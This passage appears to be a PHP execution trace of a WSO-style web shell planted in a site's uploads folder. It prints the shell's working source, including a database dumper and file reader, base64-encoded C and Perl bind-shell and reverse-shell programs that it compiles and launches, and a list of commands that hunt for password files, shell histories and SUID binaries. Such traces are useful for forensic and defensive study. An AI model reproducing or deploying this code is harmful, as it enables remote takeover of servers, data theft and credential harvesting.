\'mysql\':return$this->res=$this->query(\'SHOW TABLES\');break;case \'pgsql\':return$this->res=$this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");break;}return false;}function error(){switch($this->type){case \'mysql\':return @mysql_error();break;case \'pgsql\':return @pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case \'mysql\':if(function_exists(\'mysql_set_charset\'))return @mysql_set_charset($str,$this->link);else $this->query(\'SET CHARSET \'.$str);break;case \'pgsql\':return @pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case \'mysql\':return$this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));break;case \'pgsql\':$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");$r=array();while($i=$this->fetch())$r[]=$i[\'file\'];$this->query(\'drop table hard2\');return array(\'file\'=>implode("\\n",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case \'mysql\':$res=$this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');$create=mysql_fetch_array($res);$sql=$create[1].";\\n";if($fp)fwrite($fp,$sql);else echo($sql);$this->query(\'SELECT * FROM `\'.$table.\'`\');$i=0;$head=true;while($▟=$this->fetch()){$sql=\'\';if($i%1000==0){$head=true;$sql=";\\n\\n";}$columns=array();foreach($▟ as$k=>$v){if($v===null)$▟[$k]="NULL";elseif(is_int($v))$▟[$k]=$v;else $▟[$k]="\'".@mysql_real_escape_string($v)."\'";$columns[]="`".$k."`";}if($head){$sql.=\'INSERT INTO `\'.$table.\'` (\'.implode(", ",$columns).") VALUES \\n\\t(".implode(", ",$▟).\')\';$head=false;}else $sql.="\\n\\t,(".implode(", ",$▟).\')\';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";\\n\\n");else echo(";\\n\\n");break;case \'pgsql\':$this->query(\'SELECT * FROM \'.$table);while($▟=$this->fetch()){$columns=array();foreach($▟ as$k=>$v){$▟[$k]="\'".addslashes($v)."\'";$columns[]=$k;}$sql=\'INSERT INTO \'.$table.\' (\'.implode(", ",$columns).\') VALUES (\'.implode(", ",$▟).\');\'."\\n";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST[\'type\']);if((@$_POST[\'p2\']==\'download\')&&(@$_POST[\'p1\']!=\'select\')){$db->connect($_POST[\'sql_host\'],$_POST[\'sql_login\'],$_POST[\'sql_pass\'],$_POST[\'sql_base\']);$db->selectdb($_POST[\'sql_base\']);switch($_POST[\'charset\']){case "Windows-1251":$db->setCharset(\'cp1251\');break;case "UTF-8":$db->setCharset(\'utf8\');break;case "KOI8-R":$db->setCharset(\'koi8r\');break;case "KOI8-U":$db->setCharset(\'koi8u\');break;case "cp866":$db->setCharset(\'cp866\');break;}if(empty($_POST[\'file\'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST[\'tbl\'] as$v)$db->dump($v);exit;}elseif($fp=@fopen($_POST[\'file\'],\'w\')){foreach($_POST[\'tbl\'] as$v)$db->dump($v,$fp);fclose($fp);unset($_POST[\'p2\']);}else die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');}hardHeader();echo"\r\n<h1>Sql browser</h1><div class=content>\r\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'><input type=hidden name=charset value=\'".(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n<td><label><select name=\'type\'><option value=\'mysql\' ";if(@$_POST[\'type\']==\'mysql\')echo\'selected\';echo">MySql</option><option value=\'pgsql\' ";if(@$_POST[\'type\']==\'pgsql\')echo\'selected\';echo">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\\"".(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']))."\\"></td>\r\n<td><input type=text name=sql_login value=\\"".(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']))."\\"></td>\r\n<td><input type=text name=sql_pass value=\\"".(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']))."\\" required></td><td>";$tmp="<input type=text name=sql_base value=\'\'>";if(isset($_POST[\'sql_host\'])){if($db->connect($_POST[\'sql_host\'],$_POST[\'sql_login\'],$_POST[\'sql_pass\'],$_POST[\'sql_base\'])){switch($_POST[\'charset\']){case "Windows-1251":$db->setCharset(\'cp1251\');break;case "UTF-8":$db->setCharset(\'utf8\');break;case "KOI8-R":$db->setCharset(\'koi8r\');break;case "KOI8-U":$db->setCharset(\'koi8u\');break;case "cp866":$db->setCharset(\'cp866\');break;}$db->listDbs();echo"<label><select name=sql_base><option value=\'\'></option>";while($▟=$db->fetch()){list($key,$value)=each($▟);echo\'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';}echo\'</select></label>\';}else echo$tmp;}else echo$tmp;echo"</td>\r\n\t\t\t\t<td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\r\n <td><input type=checkbox name=sql_count value=\'on\'".(empty($_POST[\'sql_count\'])?\'\':\' checked\')."> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\r\n function fs(f) {\r\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n if(f.p1) f.p1.value=\'\';\r\n if(f.p2) f.p2.value=\'\';\r\n if(f.p3) f.p3.value=\'\';\r\n }\r\n }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = \'select\';\r\n\t\t\t\td.sf.p2.value = t;\r\n if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\r\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";if(isset($db)&&$db->link){echo"<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST[\'sql_base\'])){$db->selectdb($_POST[\'sql_base\']);echo"<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($▟=$db->fetch($tbls_res)){list($key,$value)=each($▟);if(!empty($_POST[\'sql_count\']))$n=$db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));$value=htmlspecialchars($value);echo"<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'> <a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>".(empty($_POST[\'sql_count\'])?\' \':" <small>(".$n[\'n\'].")</small>")."</nobr><br>";}echo"<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";if(@$_POST[\'p1\']==\'select\'){$_POST[\'p1\']=\'query\';$_POST[\'p3\']=$_POST[\'p3\']?$_POST[\'p3\']:1;$db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\']);$num=$db->fetch();$pages=ceil($num[\'n\']/30);echo"<script>d.sf.onsubmit=function(){st(\\"".$_POST[\'p2\']."\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> (".$num[\'n\']." records) Page # <input type=text name=\'p3\' value=".((int)$_POST[\'p3\']).">";echo" of ".$pages;if($_POST[\'p3\']>1)echo" <a href=# onclick=\'st(\\"".$_POST[\'p2\'].\'", \'.($_POST[\'p3\']-1).")\'>< Prev</a>";if($_POST[\'p3\']<$pages)echo" <a href=# onclick=\'st(\\"".$_POST[\'p2\'].\'", \'.($_POST[\'p3\']+1).")\'>Next ></a>";$_POST[\'p3\']--;if($_POST[\'type\']==\'pgsql\')$_POST[\'p2\']=\'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);else $_POST[\'p2\']=\'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';echo"<br><br>";}if((@$_POST[\'p1\']==\'query\')&&!empty($_POST[\'p2\'])){$db->query(@$_POST[\'p2\']);if($db->res!==false){$title=false;echo\'<table width=100% cellspacing=1 cellpadding=2 class=main>\';$line=1;while($▟=$db->fetch()){if(!$title){echo\'<tr>\';foreach($▟ as$key=>$value)echo\'<th>\'.$key.\'</th>\';reset($▟);$title=true;echo\'</tr><tr>\';$line=2;}echo\'<tr class="l\'.$line.\'">\';$line=$line==1?2:1;foreach($▟ as$key=>$value){if($value==null)echo\'<td><i>null</i></td>\';else echo\'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';}echo\'</tr>\';}echo\'</table>\';}else{echo\'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';}}echo"<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";if(!empty($_POST[\'p2\'])&&($_POST[\'p1\']!=\'loadfile\'))echo htmlspecialchars($_POST[\'p2\']);echo"</textarea><br/><input type=submit value=\'Execute\'>";echo"</td></tr>";}echo"</table></form><br/>";if($_POST[\'type\']==\'mysql\'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");if($db->fetch())echo"<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";}if(@$_POST[\'p1\']==\'loadfile\'){$file=$db->loadFile($_POST[\'p2\']);echo\'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';}}else{echo htmlspecialchars($db->error());}echo\'</div>\';hardFooter();}function actionNetwork(){hardHeader();$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo"<h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=".$_SERVER[\'REMOTE_ADDR\']."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <label><select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>";if(isset($_POST[\'p1\'])){function cf($f,$t){$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');if($w){@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));@fclose($w);}}if($_POST[\'p1\']==\'bpc\'){cf("/tmp/bp.c",$bind_port_c);$▖=ex("gcc -o /tmp/bp /tmp/bp.c");@unlink("/tmp/bp.c");$▖.=ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");echo"<pre class=ml1>".$▖.ex("ps aux | grep bp")."</pre>";}if($_POST[\'p1\']==\'bpp\'){cf("/tmp/bp.pl",$bind_port_p);$▖=ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");echo"<pre class=ml1>".$▖.ex("ps aux | grep bp.pl")."</pre>";}if($_POST[\'p1\']==\'bcc\'){cf("/tmp/bc.c",$back_connect_c);$▖=ex("gcc -o /tmp/bc /tmp/bc.c");@unlink("/tmp/bc.c");$▖.=ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");echo"<pre class=ml1>".$▖.ex("ps aux | grep bc")."</pre>";}if($_POST[\'p1\']==\'bcp\'){cf("/tmp/bc.pl",$back_connect_p);$▖=ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");echo"<pre class=ml1>".$▖.ex("ps aux | grep bc.pl")."</pre>";}}echo\'</div>\';hardFooter();}if(empty($_POST[\'a\']))if(isset($▚)&&function_exists(\'action\'.$▚))$_POST[\'a\']=$▚;else $_POST[\'a\']=\'FilesMan\';if(!empty($_POST[\'a\'])&&function_exists(\'action\'.$_POST[\'a\']))call_user_func(\'action\'.$_POST[\'a\']);;' /var/www/html/uploads/jftdpr.php 1 0
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $▛ = ''
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $▘ = TRUE
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $▜ = 'UTF-8'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $▚ = 'FilesMan'
3 6 0 0.005414 1037056 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'python-requests/2.25.1'
3 6 1 0.005431 1037152
3 6 R 'ecd862b3d0595af0a0b03f511e800938'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $▙ = 'ecd862b3d0595af0a0b03f511e800938'
3 7 0 0.005459 1037120 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'localhost'
3 7 1 0.005473 1037216
3 7 R '421aa90e079fa326b6494f812ad13e79'
3 8 0 0.005489 1037120 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'localhost'
3 8 1 0.005503 1037216
3 8 R '421aa90e079fa326b6494f812ad13e79'
3 9 0 0.005517 1037184 prototype 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 2 '421aa90e079fa326b6494f812ad13e79key' 'ecd862b3d0595af0a0b03f511e800938'
3 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 _COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4 10 0 0.005550 1037560 setcookie 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 2 '421aa90e079fa326b6494f812ad13e79key' 'ecd862b3d0595af0a0b03f511e800938'
4 10 1 0.005569 1037760
4 10 R TRUE
3 9 1 0.005583 1037696
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 _POST['charset'] = 'UTF-8'
3 11 0 0.005606 1038072 ini_set 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 2 'error_log' NULL
3 11 1 0.005622 1038144
3 11 R ''
3 12 0 0.005635 1038072 ini_set 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 2 'log_errors' 0
3 12 1 0.005650 1038144
3 12 R '1'
3 13 0 0.005662 1038072 ini_set 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 2 'max_execution_time' 0
3 13 1 0.005678 1038176
3 13 R '30'
3 14 0 0.005690 1038072 set_time_limit 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 0
3 14 1 0.005705 1038136
3 14 R FALSE
3 15 0 0.005718 1038104 define 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 2 'VERSION' '4.2.5'
3 15 1 0.005738 1038208
3 15 R TRUE
3 16 0 0.005751 1038136 get_magic_quotes_gpc 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 0
3 16 1 0.005763 1038136
3 16 R FALSE
3 17 0 0.005780 1038136 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'localhost'
3 17 1 0.005794 1038232
3 17 R '421aa90e079fa326b6494f812ad13e79'
3 18 0 0.005809 1038136 md5 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'localhost'
3 18 1 0.005821 1038232
3 18 R '421aa90e079fa326b6494f812ad13e79'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 _COOKIE['421aa90e079fa326b6494f812ad13e79ajax'] = TRUE
3 19 0 0.005850 1038200 substr 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 3 'Linux' 0 3
3 19 1 0.005865 1038328
3 19 R 'Lin'
3 20 0 0.005877 1038232 strtolower 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'Lin'
3 20 1 0.005891 1038296
3 20 R 'lin'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $os = 'nix'
3 21 0 0.005915 1038200 ini_get 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'safe_mode'
3 21 1 0.005929 1038232
3 21 R FALSE
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $safe_mode = FALSE
3 22 0 0.005952 1038200 error_reporting 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 0
3 22 1 0.005965 1038240
3 22 R 22527
3 23 0 0.005978 1038200 ini_get 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 1 'disable_functions'
3 23 1 0.005992 1038680
3 23 R 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $disable_functions = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3 24 0 0.006037 1038648 getcwd 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 0
3 24 1 0.006051 1038696
3 24 R '/var/www/html/uploads'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $home_cwd = '/var/www/html/uploads'
3 25 0 0.006077 1038696 getcwd 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 0
3 25 1 0.006090 1038744
3 25 R '/var/www/html/uploads'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $cwd = '/var/www/html/uploads'
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 1 $cwd .= '/'
3 26 0 0.006127 1038744 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 'posix_getpwuid'
3 26 1 0.006141 1038784
3 26 R TRUE
3 27 0 0.006153 1038744 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 1 'posix_getgrgid'
3 27 1 0.006167 1038784
3 27 R TRUE
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 124 $aliases = ['List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find all suid files' => 'find / -type f -perm -04000 -ls', 'find suid files in current dir' => 'find . -type f -perm -04000 -ls', 'find all sgid files' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php files' => 'find / -type f -name config.inc.php', 'find config* files' => 'find / -type f -name "config*"', 'find config* files in current dir' => 'find . -type f -name "config*"', 'find all writable folders and files' => 'find / -perm -2 -ls', 'find all writable folders and files in current dir' => 'find . -perm -2 -ls', 'find all service.pwd files' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find all .htpasswd files' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find all .bash_history files' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf files' => 'locate httpd.conf', 'locate vhosts.conf files' => 'locate vhosts.conf', 'locate proftpd.conf files' => 'locate proftpd.conf', 'locate psybnc.conf files' => 'locate psybnc.conf', 'locate my.conf files' => 'locate my.conf', 'locate admin.php files' => 'locate admin.php', 'locate cfg.php files' => 'locate cfg.php', 'locate conf.php files' => 'locate conf.php', 'locate config.dat files' => 'locate config.dat', 'locate config.php files' => 'locate config.php', 'locate config.inc files' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php files' => 'locate config.default.php', 'locate config* files ' => 'locate config', 'locate .conf files' => 'locate \'.conf\'', 'locate .pwd files' => 'locate \'.pwd\'', 'locate .sql files' => 'locate \'.sql\'', 'locate .htpasswd files' => 'locate \'.htpasswd\'', 'locate .bash_history files' => 'locate \'.bash_history\'', 'locate .mysql_history files' => 'locate \'.mysql_history\'', 'locate .fetchmailrc files' => 'locate \'.fetchmailrc\'', 'locate backup files' => 'locate backup', 'locate dump files' => 'locate dump', 'locate priv files' => 'locate priv']
3 28 0 0.006256 1038784 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 220 1 'actionFilesMan'
3 28 1 0.006272 1038824
3 28 R TRUE
2 A /var/www/html/uploads/jftdpr.php(1) : eval()'d code 220 _POST['a'] = 'FilesMan'
3 29 0 0.006298 1038784 function_exists 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 220 1 'actionFilesMan'
3 29 1 0.006312 1038824
3 29 R TRUE
3 30 0 0.006326 1038744 actionFilesMan 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 220 0
4 31 0 0.006340 1038744 hardHeader 1 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 150 0
5 32 0 0.006358 1041280 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 39 1 '/var/www/html/uploads/'
5 32 1 0.006375 1041472
5 32 R '/var/www/html/uploads/'
5 33 0 0.006393 1041280 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 40 1 'FilesMan'
5 33 1 0.006407 1041472
5 33 R 'FilesMan'
5 34 0 0.006421 1041792 htmlspecialchars 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 41 1 'UTF-8'
5 34 1 0.006435 1041984
5 34 R 'UTF-8'
5 35 0 0.006450 1041792 strpos 0 /var/www/html/uploads/jftdpr.php(1) : eval()'d code 42 2 NULL '\n'
5 35 1 0.006464 1041864
5 35 R FALSE
